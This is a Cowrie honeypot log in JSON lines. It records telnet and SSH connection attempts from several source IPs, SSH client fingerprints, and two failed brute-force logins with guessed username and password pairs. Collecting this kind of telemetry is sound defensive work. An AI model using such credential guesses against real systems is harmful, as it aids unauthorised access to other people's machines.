{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":37532,"dst_ip":"159.203.135.109","dst_port":23,"session":"4194ecbe7957","protocol":"telnet","message":"New connection: 69.162.99.242:37532 (159.203.135.109:23) [session: 4194ecbe7957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:46.834983Z"}
{"eventid":"cowrie.session.closed","duration":13.193538427352905,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:50.271939Z","src_ip":"147.182.143.59","session":"092dd6bc17e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":58214,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd913eaf72df","protocol":"telnet","message":"New connection: 69.162.99.242:58214 (159.203.135.109:23) [session: dd913eaf72df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:51.359651Z"}
{"eventid":"cowrie.session.closed","duration":40.979119062423706,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:53.256558Z","src_ip":"45.58.127.90","session":"3afb8dfa5178","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":40756,"dst_ip":"159.203.135.109","dst_port":23,"session":"0265976b7690","protocol":"telnet","message":"New connection: 69.162.99.242:40756 (159.203.135.109:23) [session: 0265976b7690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:55.810620Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57222,"dst_ip":"10.17.0.5","dst_port":23,"session":"92f735760dd6","protocol":"telnet","message":"New connection: 45.58.127.90:57222 (10.17.0.5:23) [session: 92f735760dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:56.435666Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":45622,"dst_ip":"159.203.135.109","dst_port":23,"session":"71cc53ddb29c","protocol":"telnet","message":"New connection: 69.162.99.242:45622 (159.203.135.109:23) [session: 71cc53ddb29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:57.802468Z"}
{"eventid":"cowrie.session.closed","duration":31.10176706314087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:41:58.834346Z","src_ip":"69.162.99.242","session":"8dc7f2bb7a73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":53470,"dst_ip":"159.203.135.109","dst_port":23,"session":"de26966b4664","protocol":"telnet","message":"New connection: 69.162.99.242:53470 (159.203.135.109:23) [session: de26966b4664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:01.776953Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34924,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fb7bea4c1c8","protocol":"telnet","message":"New connection: 45.58.127.90:34924 (10.17.0.5:23) [session: 5fb7bea4c1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:04.599321Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35290,"dst_ip":"159.203.135.109","dst_port":23,"session":"300ccfb7d040","protocol":"telnet","message":"New connection: 69.162.99.242:35290 (159.203.135.109:23) [session: 300ccfb7d040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:05.090734Z"}
{"eventid":"cowrie.session.closed","duration":31.097001314163208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:06.366428Z","src_ip":"69.162.99.242","session":"6b63732cd519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98525834083557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:08.144544Z","src_ip":"69.162.99.242","session":"4e8e863ae767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37114,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ec854eb47e7","protocol":"telnet","message":"New connection: 147.182.143.59:37114 (159.203.135.109:23) [session: 4ec854eb47e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:09.652620Z"}
{"eventid":"cowrie.session.closed","duration":31.091093063354492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:09.948545Z","src_ip":"69.162.99.242","session":"57e2cc362954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50166,"dst_ip":"10.17.0.5","dst_port":23,"session":"5daa2431e605","protocol":"telnet","message":"New connection: 45.58.127.90:50166 (10.17.0.5:23) [session: 5daa2431e605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:11.189424Z"}
{"eventid":"cowrie.session.closed","duration":31.093486309051514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:11.506531Z","src_ip":"69.162.99.242","session":"57df0d0bb548","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.7059006690979,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:11.731869Z","src_ip":"45.58.127.90","session":"a430b23d4c4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.844529151916504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:12.843558Z","src_ip":"69.162.99.242","session":"1aad8822a06d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a886ae8bd5f","protocol":"telnet","message":"New connection: 147.182.143.59:37126 (159.203.135.109:23) [session: 3a886ae8bd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:13.073355Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":60218,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd37f08317a9","protocol":"telnet","message":"New connection: 69.162.99.242:60218 (159.203.135.109:23) [session: bd37f08317a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:16.218688Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":34516,"dst_ip":"159.203.135.109","dst_port":23,"session":"474457657e29","protocol":"telnet","message":"New connection: 69.162.99.242:34516 (159.203.135.109:23) [session: 474457657e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:16.346848Z"}
{"eventid":"cowrie.session.closed","duration":31.09744167327881,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:17.932289Z","src_ip":"69.162.99.242","session":"4194ecbe7957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.555859565734863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:22.915382Z","src_ip":"69.162.99.242","session":"dd913eaf72df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.68152379989624,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:23.754748Z","src_ip":"147.182.143.59","session":"3a886ae8bd5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.446046352386475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:26.256538Z","src_ip":"69.162.99.242","session":"0265976b7690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.76411461830139,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:26.416603Z","src_ip":"147.182.143.59","session":"4ec854eb47e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69735598564148,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:28.132882Z","src_ip":"45.58.127.90","session":"92f735760dd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097076892852783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:28.899399Z","src_ip":"69.162.99.242","session":"71cc53ddb29c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":40206,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b29daa275e5","protocol":"telnet","message":"New connection: 69.162.99.242:40206 (159.203.135.109:23) [session: 5b29daa275e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:29.387594Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":45694,"dst_ip":"159.203.135.109","dst_port":23,"session":"f41e0a82c8f7","protocol":"telnet","message":"New connection: 69.162.99.242:45694 (159.203.135.109:23) [session: f41e0a82c8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:31.333231Z"}
{"eventid":"cowrie.session.closed","duration":31.091341018676758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:32.868231Z","src_ip":"69.162.99.242","session":"de26966b4664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":57028,"dst_ip":"10.17.0.5","dst_port":22,"session":"57969e4e4742","protocol":"ssh","message":"New connection: 154.198.162.75:57028 (10.17.0.5:22) [session: 57969e4e4742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:35.948643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:35.961596Z","src_ip":"154.198.162.75","session":"57969e4e4742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:36.172496Z","src_ip":"154.198.162.75","session":"57969e4e4742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.113457918167114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:36.204027Z","src_ip":"69.162.99.242","session":"300ccfb7d040","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:37.031745Z","src_ip":"154.198.162.75","session":"57969e4e4742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:38.241218Z","src_ip":"154.198.162.75","session":"57969e4e4742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.422056436538696,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:41.021249Z","src_ip":"45.58.127.90","session":"5fb7bea4c1c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33006,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bbbfa50c744","protocol":"telnet","message":"New connection: 45.58.127.90:33006 (10.17.0.5:23) [session: 4bbbfa50c744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:43.222521Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":56282,"dst_ip":"159.203.135.109","dst_port":23,"session":"0abf5c7aa651","protocol":"telnet","message":"New connection: 69.162.99.242:56282 (159.203.135.109:23) [session: 0abf5c7aa651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:45.753135Z"}
{"eventid":"cowrie.session.closed","duration":31.091244220733643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:47.309824Z","src_ip":"69.162.99.242","session":"bd37f08317a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211812257766724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:47.558475Z","src_ip":"69.162.99.242","session":"474457657e29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.82134532928467,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:53.010644Z","src_ip":"45.58.127.90","session":"5daa2431e605","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43732,"dst_ip":"159.203.135.109","dst_port":23,"session":"e43f6e01ac68","protocol":"telnet","message":"New connection: 147.182.143.59:43732 (159.203.135.109:23) [session: e43f6e01ac68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:54.193439Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35250,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe048c021947","protocol":"telnet","message":"New connection: 69.162.99.242:35250 (159.203.135.109:23) [session: fe048c021947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:42:59.539438Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49158,"dst_ip":"159.203.135.109","dst_port":23,"session":"3443a347a0bd","protocol":"telnet","message":"New connection: 147.182.143.59:49158 (159.203.135.109:23) [session: 3443a347a0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:00.487605Z"}
{"eventid":"cowrie.session.closed","duration":31.107625722885132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:00.495081Z","src_ip":"69.162.99.242","session":"5b29daa275e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162110805511475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:02.495198Z","src_ip":"69.162.99.242","session":"f41e0a82c8f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.441972732543945,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:03.635314Z","src_ip":"147.182.143.59","session":"e43f6e01ac68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39372,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57fbd927413","protocol":"telnet","message":"New connection: 45.58.127.90:39372 (10.17.0.5:23) [session: b57fbd927413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:07.220882Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39376,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd707fe2c0f6","protocol":"telnet","message":"New connection: 45.58.127.90:39376 (10.17.0.5:23) [session: fd707fe2c0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:07.569792Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7897f74e078","protocol":"telnet","message":"New connection: 45.58.127.90:39378 (10.17.0.5:23) [session: b7897f74e078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:07.692855Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36492,"dst_ip":"159.203.135.109","dst_port":23,"session":"7950ed2f3312","protocol":"telnet","message":"New connection: 69.162.99.242:36492 (159.203.135.109:23) [session: 7950ed2f3312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:10.838981Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45968,"dst_ip":"10.17.0.5","dst_port":23,"session":"611e8fd5c4c8","protocol":"telnet","message":"New connection: 45.58.127.90:45968 (10.17.0.5:23) [session: 611e8fd5c4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:12.246934Z"}
{"eventid":"cowrie.session.closed","duration":11.893122434616089,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:12.380574Z","src_ip":"147.182.143.59","session":"3443a347a0bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47408,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c3d386aef1","protocol":"telnet","message":"New connection: 147.182.143.59:47408 (159.203.135.109:23) [session: 50c3d386aef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:16.115219Z"}
{"eventid":"cowrie.session.closed","duration":30.56170916557312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:16.314698Z","src_ip":"69.162.99.242","session":"0abf5c7aa651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":51760,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b919922847","protocol":"telnet","message":"New connection: 69.162.99.242:51760 (159.203.135.109:23) [session: d6b919922847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:17.248554Z"}
{"eventid":"cowrie.session.closed","duration":35.866156578063965,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:19.088557Z","src_ip":"45.58.127.90","session":"4bbbfa50c744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43904,"dst_ip":"159.203.135.109","dst_port":23,"session":"89ab7bd724bd","protocol":"telnet","message":"New connection: 147.182.143.59:43904 (159.203.135.109:23) [session: 89ab7bd724bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:22.242351Z"}
{"eventid":"cowrie.session.closed","duration":9.095670223236084,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:25.210761Z","src_ip":"147.182.143.59","session":"50c3d386aef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":40298,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdae66dd1178","protocol":"telnet","message":"New connection: 147.182.143.59:40298 (159.203.135.109:23) [session: cdae66dd1178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:27.814935Z"}
{"eventid":"cowrie.session.closed","duration":31.10160732269287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:30.640960Z","src_ip":"69.162.99.242","session":"fe048c021947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":52334,"dst_ip":"10.17.0.5","dst_port":22,"session":"033e77088ab0","protocol":"ssh","message":"New connection: 154.198.162.75:52334 (10.17.0.5:22) [session: 033e77088ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:33.451953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:33.461146Z","src_ip":"154.198.162.75","session":"033e77088ab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:33.669839Z","src_ip":"154.198.162.75","session":"033e77088ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.566891431808472,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:33.809120Z","src_ip":"147.182.143.59","session":"89ab7bd724bd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test","message":"login attempt [ubuntu/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:34.544754Z","src_ip":"154.198.162.75","session":"033e77088ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:35.761031Z","src_ip":"154.198.162.75","session":"033e77088ab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59538,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5851cb66276","protocol":"telnet","message":"New connection: 45.58.127.90:59538 (10.17.0.5:23) [session: b5851cb66276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:36.628843Z"}
{"eventid":"cowrie.session.closed","duration":9.663907051086426,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:37.478739Z","src_ip":"147.182.143.59","session":"cdae66dd1178","protocol":"telnet"}
